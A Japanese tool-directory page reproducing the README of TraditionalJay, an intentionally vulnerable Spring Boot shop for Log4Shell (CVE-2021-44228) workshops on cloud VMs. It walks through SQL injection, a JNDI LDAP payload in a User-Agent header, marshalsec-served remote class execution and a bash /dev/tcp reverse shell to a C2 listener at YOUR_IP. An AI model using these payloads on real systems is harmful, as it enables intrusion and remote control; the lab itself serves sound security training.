Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
TraditionalJay — 意図的に脆弱なVM上でホストされたJavaショップ — Log4Shell (CVE-2021-44228) ワークショップラボ (EC2 / Azure VM / GCE) | Kitploit
ツール/GitHubGitHub/astraljays/traditionaljay
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティコマンド&コントロール学習と教育ラボと実践
GitHubastraljays/traditionaljay

TraditionalJay

意図的に脆弱なVM上でホストされたJavaショップ — Log4Shell (CVE-2021-44228) ワークショップラボ (EC2 / Azure VM / GCE)

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TraditionalJay

意図的に脆弱性を含むクラシック/トラディショナルなショップです。セキュリティワークショップ向け — VM(EC2、Azure VM、GCP Compute Engine)上のJavaアプリケーションであり、コンテナではありません。

主要なストーリー: 重大なVM侵害 — SQLインジェクション → Log4Shell (CVE-2021-44228) → 外部C2へのリバースシェル。

[!CAUTION] 本番アカウントにデプロイしないでください。 VMは一時的なものとし、ネットワークをラボ内に限定してください。

なぜこれが存在するのか

Jay's Surf Shopはクラウドネイティブなランタイム(ECS / ACA / GKE)を対象としています。TraditionalJayはホスト/VMの領域をカバーします:

Surf ShopTraditionalJay
Computeコンテナ/サーバーレス単一のLinux VM
StackNext.js + PythonSpring Boot + Log4j2
注目CVEPillow, React2Shell, YAML, …Log4Shell

クイックスタート(ローカル)

root@kitploit:~
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security

Java 11+ とMavenが必要です。

重大なVM侵害

  1. SQLインジェクション — /search での文字列結合SQLiteが secrets テーブルをダンプします。
  2. Log4Shell — Log4j 2.14.1 のJNDI LDAPルックアップがリスナーに向けて行われます。
  3. リバースシェル → C2 — 短期間の bash /dev/tcp ダイヤルがC2リスナーに送信されます。
root@kitploit:~
# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444

# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
  --data-urlencode "ldap_callback=YOUR_IP:1389" \
  --data-urlencode "c2_callback=YOUR_IP:4444" | jq .

Log4Shell — 完全なRCE(サンドボックス)

プローブのみ(LDAP発信の証明):

root@kitploit:~
python3 tools/ldap-listen.py --port 1389

完全なRCE(marshalsec LDAP + リモートExploit.class; VMは意図的に trustURLCodebase=true で動作):

root@kitploit:~
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP

その後、/security を開き、LDAPコールバックを YOUR_PUBLIC_IP:1389 に設定し、Run Log4Shell をクリックします。成功すると、VMは /tmp/jss-log4shell-rce、/tmp/jss-log4shell-id.txt を取得し、約45秒間のインタラクティブな bash(利用可能な場合は script 経由のPTY)がホストセンサーのデモ用に提供されます。

また、細工した User-Agent で検索を実行することもできます:

root@kitploit:~
curl -s "http://localhost:8080/search?q=wax" \
  -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null

Upwindホストセンサー(初回起動)

Upwindの認証情報はローカルの terraform.tfvars(gitignore対象)を介して渡します。Cloud-initがそれらをエクスポートし、scripts/install-vm.sh が scripts/install-upwind-sensor.sh を実行します。

メモリ: scanner-v2=true はインストール時に 約7 GiBの空きRAM を必要とします(ディスクではありません)。デフォルトのAWS Terraformは t3.large(8 GiB) + 40 GiB gp3 ルートを使用するため、スキャナーはスキップされません(小さいインスタンスでは Skipping scanner installation, requires 7000000 kB となります)。

root@kitploit:~
curl -s https://get.upwind.io/sensor.sh | \
  UPWIND_CLIENT_ID=… \
  UPWIND_CLIENT_SECRET=… \
  UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
  bash -s

AWSの例 infrastructure/aws/terraform.tfvars:

root@kitploit:~
upwind_client_id          = "…"
upwind_client_secret      = "…"
upwind_agent_extra_config = "scanner-v2=true"

認証情報が空の場合、アプリは引き続きインストールされ、センサーのステップはスキップされます。

CI

GitHub Actionsワークフロー .github/workflows/build.yml:

  • push / PR / 手動 → Mavenパッケージ + JARアーティファクトのアップロード
  • タグ v* → fat JARを含むGitHubリリース

VMは scripts/install-vm.sh を介して最新のリリースJARを優先し、リリースがまだ存在しない場合はオンボックスのMavenビルドにフォールバックします。インストーラーはfat JARを /opt/traditionaljay/BOOT-INF/lib/ 以下に展開し、JarLauncher を実行するため、ホスト/エージェントレスSCAはディスク上の log4j-core-2.14.1.jar を認識できます(java -jar app.jar のみを実行すると、Log4jがzip内にネストされ、パッケージインベントリから CVE-2021-44228 が隠されることがよくあります)。

root@kitploit:~
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0

クラウドVMへのデプロイ

各クラウドフォルダはスタンドアロンのTerraformです。初回起動時に scripts/install-vm.sh(OpenJDK 11 + リリースJARまたはMavenビルド + systemd)が実行されます。

AWS(EC2)

root@kitploit:~
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url

Azure(VM)

root@kitploit:~
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url

GCP(Compute Engine)

root@kitploit:~
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url

初回起動時、インスタンス上でMavenがビルドを行うため数分かかります。その後、http://PUBLIC_IP:8080/security を開いてください。

レイアウト

root@kitploit:~
app/                     Spring Bootショップ + /security Log4Shell UI
tools/ldap-listen.py     バナーのみのLDAPリスナー(発信の証明)
tools/run-log4shell-ldap.sh  完全なRCE LDAP + HTTPコードベースサーバー
tools/exploit/Exploit.java   marshalsec用のリモートクラスペイロード
scripts/install-vm.sh    Cloud-init / 手動VMインストーラー
infrastructure/aws|azure|gcp

安全に関する注意事項

  • デモパスは、隔離されたサンドボックス内で実際のLog4Shell RCEのために marshalsec LDAPRefServer と tools/exploit/Exploit.class を使用します。
  • JVMフラグ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true は意図的です(Java 11+ではデフォルトで無効)。
  • バナーのみの ldap-listen.py は、コード実行なしでLDAP発信を証明するために残されています。
  • デフォルトのファイアウォールでは22/8080に対して 0.0.0.0/0 を許可しています — 共有ラボの場合は *_ingress_cidr / 送信元範囲を厳格にしてください。
  • 意図的に Log4j 2.14.1 のままにしています。演習を置き換えずに「修正」しないでください。
ツールをダウンロード